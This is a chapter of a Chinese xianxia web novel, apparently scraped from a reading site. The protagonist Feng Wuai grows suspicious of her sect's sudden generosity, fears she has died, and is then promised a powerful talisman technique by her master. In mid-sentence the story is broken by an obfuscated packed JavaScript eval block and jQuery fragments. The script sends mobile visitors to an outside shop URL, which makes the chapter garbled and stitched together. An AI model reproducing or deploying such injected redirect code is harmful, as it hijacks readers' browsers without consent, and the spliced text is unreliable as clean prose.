103.事出反常
作品:《化神箓》 自献羊村一别,风无碍解除了长久以来的心头隐忧,便再也无所顾虑,大摇大摆回到了朔阳派。
本以为等待她的,是铺天盖地而来的谴责与非议,风无碍都已做好了直面的准备,不料迎接她的,却是如春风般和煦的优容与厚待。
对她非但没有半分疏冷,还异乎寻常地热情慷概。
她去勤务部,按例领取日常所需的衣、植、丹、葺物资,屡获额外馈遗,哪怕她出言提醒了,依然会被司务弟子打哈哈地含混带过。
只道:“无妨,无妨,命里有时终须有,命里无时莫强求。”
如此,便带回了比旁人多出数倍的物件。本该是羡煞旁人的优待,却不曾招来丝毫不满,甚至还得到了异常大度的体谅。
“算了,算了,她都那样了,何必再计较。”
那样……
风无碍只当旁人所指,乃她无意促成因果环被毁,直至今日,仍遭到各界口诛笔伐一事,遂两手一挥,含笑表态。
“区区流言,不足为惧,我根本不曾放在心上。”
岂料,此话一出,所受到的优待愈多,旁人看她的眼神愈发同情起来。唯有风无碍不明就里,暗自纳闷。
“那样,是什么十恶不赦之事么?”
————
转日,风无碍带着大毛锥去了器部。
经过玄门大比十数役之后,大毛锥已见轻微损耗,需向器部申请循例的法器维护。
甫一跨入器部的院子,就被琳琅满目,堆得到处皆是的器具,堵住了去路。有丢了脚、失了双翅、撞破了脑袋的金乌;有炸了锅、崩了盖的丹炉;还有各式各样磕了口、变了形,等待着维修的法器。哦,对了,还有那个被风无碍,以十道连环符捣毁的娑婆道,也被搁置在漂浮的玉匣内,追着器部弟子,要求回炉重造。
“如此多器具,等轮到我……”
风无碍垂首,打量着手中,秃了几撮长毫的大毛锥,当即便有了打道回府的念头。
怎知,人还未动,马上便有眼尖的器部弟子,热情地迎了上来,主动察看了大毛锥的状况,还自告奋勇拍着心口保证。
“必定会将师妹的维护优先安排,不日便可取回焕然一新的法器!”
其态度之良好,服务之积极,效率之迅捷,令风无碍终于感觉到了蹊跷,当场撤回了维护的想法,还稍微动用了些许武力,才从热心的器部弟子手中,夺回自己的大毛锥。
直至她走出老远,还能听见身后,器部弟子追在后头,声嘶力竭的劝告。
“师妹,莫要任性,一个称手的法器,可以在生死关头,发挥莫大作用!”
到了这时,风无碍终于咂摸出了些许反常,她回顾自己的生平,发现不曾、从未、绝无受到过这般,令人受宠若惊的厚待。
“不对劲……”
“太不对劲了!”
回程的山道上,风无碍一个人嘀嘀咕咕。
近日种种,再加上昨日里,素来与她从无交集、巡游在外的符宗二师兄、三师姐,居然托大师姐宋夕,给她捎来了一些助益修行的小物件?!
如此亲厚,哪怕是在她拜入符宗的那一日,都不曾有过!!
林中风声飒飒作响,远处问道堂的铃铛,哗哗不息。
倏然,一股不详的念头,划过风无碍的脑海。
“莫非……我已经……死了?!!!”
无怪乎风无碍有如此设想,在她的认知里,门派中人,锱铢必较,睚眦必报,能够被如此大度宽待的,唯有已经作古之人。
只要人一死,便什么都可以原谅了。
“难怪……”
风无碍两脚一顿,两眼一怔,恍然大悟。
“或许,玄门大比之上,我并不曾逃过杜永昼那一刀,早已心脏衰歇,死在了武道场上;又或许,载坤真人从天而降的那一刀,劈的并非杜永昼,而是我!”
“而今——”风无碍摊开双手,借着树梢间,投下的朦胧星光打量,“归来的,只不过是我的一丝执念,以为自己逃出了生天,实则早已身首异处!”
如此作想,风无碍对近日间种种不寻常之事,终于恍然大悟。继而,心中竟生出了一丝,道不明、说不清的解脱感。
“也好,也好……罢了,罢了。”
风无碍摇头晃脑,正欲释怀之际,转瞬又被一股,浓得化不开的遗憾笼罩心头,酸楚得仿佛灵魂都要为之恸哭。
遗憾什么呢?
她想。
她冥思苦想!
终不得其解。
“罢了,我还是先找个人好好确认,我是否真的已一命呜呼。”
静谧林间,鲜有人迹,倏然飘过一道颀长身影,风无碍连忙追上去,伸手一拦。
“喂,你看得见我么?”
她问。
被拦者“嘻嘻”一笑:“看得见,我还看见了你在玄门大比之上,使的乃我柳家的拂柳剑法。”
啊——
风无碍定睛一瞧,来者竟是夜间从藏书阁归来的柳澹。
她忽然有些窘迫,讪讪解释道:“我、我那也是形势所迫,逼不得已,才借用了你的剑法,真的很抱歉!”
“确实该抱歉。”柳澹颔首,檀口轻开,“那般生疏凌乱,实在有损剑法之名,你应当愈加勤修苦练,方对得起我授术之劳。”
“你的意思是——”风无碍心中骤然一甜,仿佛吞了一大口饴糖。
“我还没死?!”
柳澹笑,眸中星光斑斓:“你没死,不仅如此,若你识海内之幼苗,能以魂力勤加灌溉,往后还会逢凶化吉!”
哈——
过了许久,直至风无碍回到弟子舍中,仍陶醉在自己没死,且获得柳澹授意,修炼拂柳剑法的喜悦之中。
直至夜深人静,她才幡然想起,柳澹话中所提及的幼苗,急急忙忙进入识海一看,不得了——那记忆中,孤零零的两片小叶子,已然拔地而起,长成了一根手臂高的小树枝,立在无垠的荒原上,怯伶伶地散发着幽弱的光。
是的,这株不知品种,不知来历的小树苗,居然会发光!
麻杆般细的枝条上,扇形般张开的十数片小叶子,正在风无碍魂力的浇灌下,柔柔莹莹地散发出淡淡的光晕。虽然对于风无碍乌黢黢的识海来说,这样的光亮还是过于微小,但聊胜于无。
一整夜,风无碍都蹲守在这株小树苗前,喜孜孜地畅想着:来日,等它长成巍巍高木,自己的识海内,将是何等光景!
从前,她就很羡慕旁人的识
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899502|186183||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
海,又是花草,又是湖泊;又是流云,又是琼宇。唯有她的识海内,一片伸手不见五指的荒凉,如今,有了这株小树苗的点缀,她相信,假以时日,她的识海,也必然会有高天阔海,草长莺飞!
值此幸事,风无碍将连日疑云一扫而空,翌日,便高高兴兴练起了剑。
青山叠翠,云霞缭绕。
姑射峰,问星石上,猎猎霜风中,一身荼白配缃黄的风无碍,耐着性子,一遍又一遍地重复着,记忆里拂柳剑法的招式。一支大毛锥,在她手中比作长剑,挥得嚯嚯作响,转刺削撩,好不潇洒。
然而,这看在符宗尺问真人眼里,又是另外一番景象。
他信步走来,有意打断。
“咳——我符宗弟子,为何却在练剑?”
风无碍闻言,迅速停下动作,恭敬行礼,将心中打算和盘托出。
“不瞒师父,弟子觉得剑术乃一招一式所成,而符术亦为一笔一画所为,既然二者皆由动作次序叠加而成,那么为何不可将其合二为一呢?”
尺问真人闻言,深深凝睇她一眼,转而唉息道。
“你能有此感想,为师甚是欣慰,只是历代作此创想之先贤大能,最后皆折戟沉沙,蹉跎一生。”
“啊!为何?”
风无碍始料未及。
“盖因此二术之殊,非在招式与笔画,乃在于灵力调度之心法。目前为止,放眼整个玄门,尚未有能够同时兼顾剑、符二宗之诀窍。”
“噢……”风无碍点点头,见尺问真人不再言语,又挥起大毛锥,唰唰练起剑招来。
“呼”的一阵霜风过去,打破二人之间的沉默。
尺问真人又问:“听闻,你会用大赦保命符?”
“嗯。”风无碍又停下来点点头,转瞬丧气补充,“不过会也无用,每次都要向旁人借五行灵力。”
“如此,那我便传你‘五神符’罢。”
尺问真人轻飘飘的声音,叫风无碍一时没有听清,等过了几许,她才反应过来,一脸期待地凑向尺问真人。
“真的?!”
尺问真人矜持颔首。
“师父您这是,终于要认我这个弟子的意思么?”风无碍喜出望外,虽然她比较迟钝,但也明白自打拜入符宗,尺问真人一日也没有亲自教授过自己,意味着什么。
如今,忽然得他亲自传术,而且还是声名赫赫的“五神符”,这叫她怎么能不兴奋,不激动?
一时之间,风无碍只当自己,终于苦尽甘来,喜不自禁。
殊不知,这一切反常的背后,皆是由于她风姓后人的身份,在玄门大比上不胫而走,激起了六疆各族人的妒恨,纷纷向万仙盟控诉:“朔阳派包藏丹奴,背弃六疆条约!”
形势所迫,朔阳派各部,早已做好了将风无碍逐出门派的决定,只是囿于尺问真人求情,才将除名的日子,推迟到了风无碍学成“五神符”之后。
个中内情,自然无须向风无碍交代,是以,尺问真人只淡淡道。
“我的弟子,总该有一两招压轴的本事,如此,在外才不叫人轻易欺负了去。”
“是是是!”风无碍可不管他实际如何作想,只一个劲地将头点得像啄米似的,催促着,“快快快,快教弟子!”

